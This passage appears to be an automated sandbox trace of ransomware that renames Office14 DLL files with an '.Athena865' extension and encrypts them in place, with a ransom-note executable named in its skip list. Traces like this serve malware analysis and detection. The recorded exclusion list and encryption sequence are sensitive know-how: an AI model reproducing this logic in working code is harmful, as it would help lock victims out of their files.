ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2=".") returned 1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="..") returned 1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="windows") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="bootmgr") returned 1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="temp") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="pagefile.sys") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="boot") returned 1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="ids.txt") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="ntuser.dat") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="perflogs") returned -1 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2="MSBuild") returned -1 [0069.264] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0069.264] lstrcpyW (in: lpString1=0x241e89e, lpString2="DBSHARE.DLL" | out: lpString1="DBSHARE.DLL") returned="DBSHARE.DLL" [0069.264] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0069.264] lstrlenW (lpString="Athena865") returned 9 [0069.264] lstrcmpiW (lpString1="SHARE.DLL", lpString2="Athena865") returned 1 [0069.264] lstrlenW (lpString=".dll") returned 4 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2=".dll") returned 1 [0069.264] lstrlenW (lpString=".lnk") returned 4 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2=".lnk") returned 1 [0069.264] lstrlenW (lpString=".ini") returned 4 [0069.264] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2=".ini") returned 1 [0069.265] lstrlenW (lpString=".sys") returned 4 [0069.265] lstrcmpiW (lpString1="DBSHARE.DLL", lpString2=".sys") returned 1 [0069.265] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0069.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.Athena865") returned 64 [0069.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.athena865"), dwFlags=0x1) returned 1 [0069.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.266] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99272) returned 1 [0069.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.267] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.268] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.268] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.268] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x186d0, lpName=0x0) returned 0x17c [0069.269] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x186d0) returned 0x100000 [0069.273] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.274] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.274] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.275] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0069.276] CloseHandle (hObject=0x17c) returned 1 [0069.276] CloseHandle (hObject=0x154) returned 1 [0069.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.276] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0069.276] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2=".") returned 1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="..") returned 1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="windows") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="bootmgr") returned 1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="temp") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="pagefile.sys") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="boot") returned 1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="ids.txt") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="ntuser.dat") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="perflogs") returned -1 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2="MSBuild") returned -1 [0069.277] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0069.277] lstrcpyW (in: lpString1=0x241e89e, lpString2="DBWIZ.DLL" | out: lpString1="DBWIZ.DLL") returned="DBWIZ.DLL" [0069.277] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0069.277] lstrlenW (lpString="Athena865") returned 9 [0069.277] lstrlenW (lpString=".dll") returned 4 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2=".dll") returned 1 [0069.277] lstrlenW (lpString=".lnk") returned 4 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2=".lnk") returned 1 [0069.277] lstrlenW (lpString=".ini") returned 4 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2=".ini") returned 1 [0069.277] lstrlenW (lpString=".sys") returned 4 [0069.277] lstrcmpiW (lpString1="DBWIZ.DLL", lpString2=".sys") returned 1 [0069.277] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0069.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.Athena865") returned 62 [0069.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.athena865"), dwFlags=0x1) returned 1 [0069.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.278] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1276776) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.279] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.279] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.279] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.280] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x137e70, lpName=0x0) returned 0x17c [0069.281] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x137e70) returned 0x2d50000 [0069.341] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.342] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.342] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.343] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.353] CloseHandle (hObject=0x17c) returned 1 [0069.353] CloseHandle (hObject=0x154) returned 1 [0069.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.358] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".") returned 1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="..") returned 1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="windows") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="bootmgr") returned 1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="temp") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="pagefile.sys") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="boot") returned 1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="ids.txt") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="ntuser.dat") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="perflogs") returned -1 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="MSBuild") returned -1 [0069.359] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0069.359] lstrcpyW (in: lpString1=0x241e89e, lpString2="DGRMLNCH.DLL" | out: lpString1="DGRMLNCH.DLL") returned="DGRMLNCH.DLL" [0069.359] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0069.359] lstrlenW (lpString="Athena865") returned 9 [0069.359] lstrcmpiW (lpString1="MLNCH.DLL", lpString2="Athena865") returned 1 [0069.359] lstrlenW (lpString=".dll") returned 4 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".dll") returned 1 [0069.359] lstrlenW (lpString=".lnk") returned 4 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".lnk") returned 1 [0069.359] lstrlenW (lpString=".ini") returned 4 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".ini") returned 1 [0069.359] lstrlenW (lpString=".sys") returned 4 [0069.359] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".sys") returned 1 [0069.359] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0069.359] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.Athena865") returned 65 [0069.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.athena865"), dwFlags=0x1) returned 1 [0069.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.393] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108904) returned 1 [0069.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.394] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.394] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.394] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac70, lpName=0x0) returned 0x17c [0069.397] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac70) returned 0x100000 [0069.423] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.423] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.423] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.424] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0069.425] CloseHandle (hObject=0x17c) returned 1 [0069.425] CloseHandle (hObject=0x154) returned 1 [0069.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.426] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2=".") returned 1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="..") returned 1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="windows") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="bootmgr") returned 1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="temp") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="pagefile.sys") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="boot") returned 1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="ids.txt") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="ntuser.dat") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="perflogs") returned -1 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2="MSBuild") returned -1 [0069.426] lstrlenW (lpString="DLGSETP.DLL") returned 11 [0069.426] lstrcpyW (in: lpString1=0x241e89e, lpString2="DLGSETP.DLL" | out: lpString1="DLGSETP.DLL") returned="DLGSETP.DLL" [0069.426] lstrlenW (lpString="DLGSETP.DLL") returned 11 [0069.426] lstrlenW (lpString="Athena865") returned 9 [0069.426] lstrcmpiW (lpString1="GSETP.DLL", lpString2="Athena865") returned 1 [0069.426] lstrlenW (lpString=".dll") returned 4 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2=".dll") returned 1 [0069.426] lstrlenW (lpString=".lnk") returned 4 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2=".lnk") returned 1 [0069.426] lstrlenW (lpString=".ini") returned 4 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2=".ini") returned 1 [0069.426] lstrlenW (lpString=".sys") returned 4 [0069.426] lstrcmpiW (lpString1="DLGSETP.DLL", lpString2=".sys") returned 1 [0069.427] lstrlenW (lpString="DLGSETP.DLL") returned 11 [0069.427] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.Athena865") returned 64 [0069.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll.athena865"), dwFlags=0x1) returned 1 [0069.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0069.440] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=116592) returned 1 [0069.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.441] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.441] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.441] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca70, lpName=0x0) returned 0x17c [0069.448] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca70) returned 0x100000 [0069.454] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.455] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.455] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.455] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0069.456] CloseHandle (hObject=0x17c) returned 1 [0069.456] CloseHandle (hObject=0x154) returned 1 [0069.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.457] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0069.457] lstrcmpiW 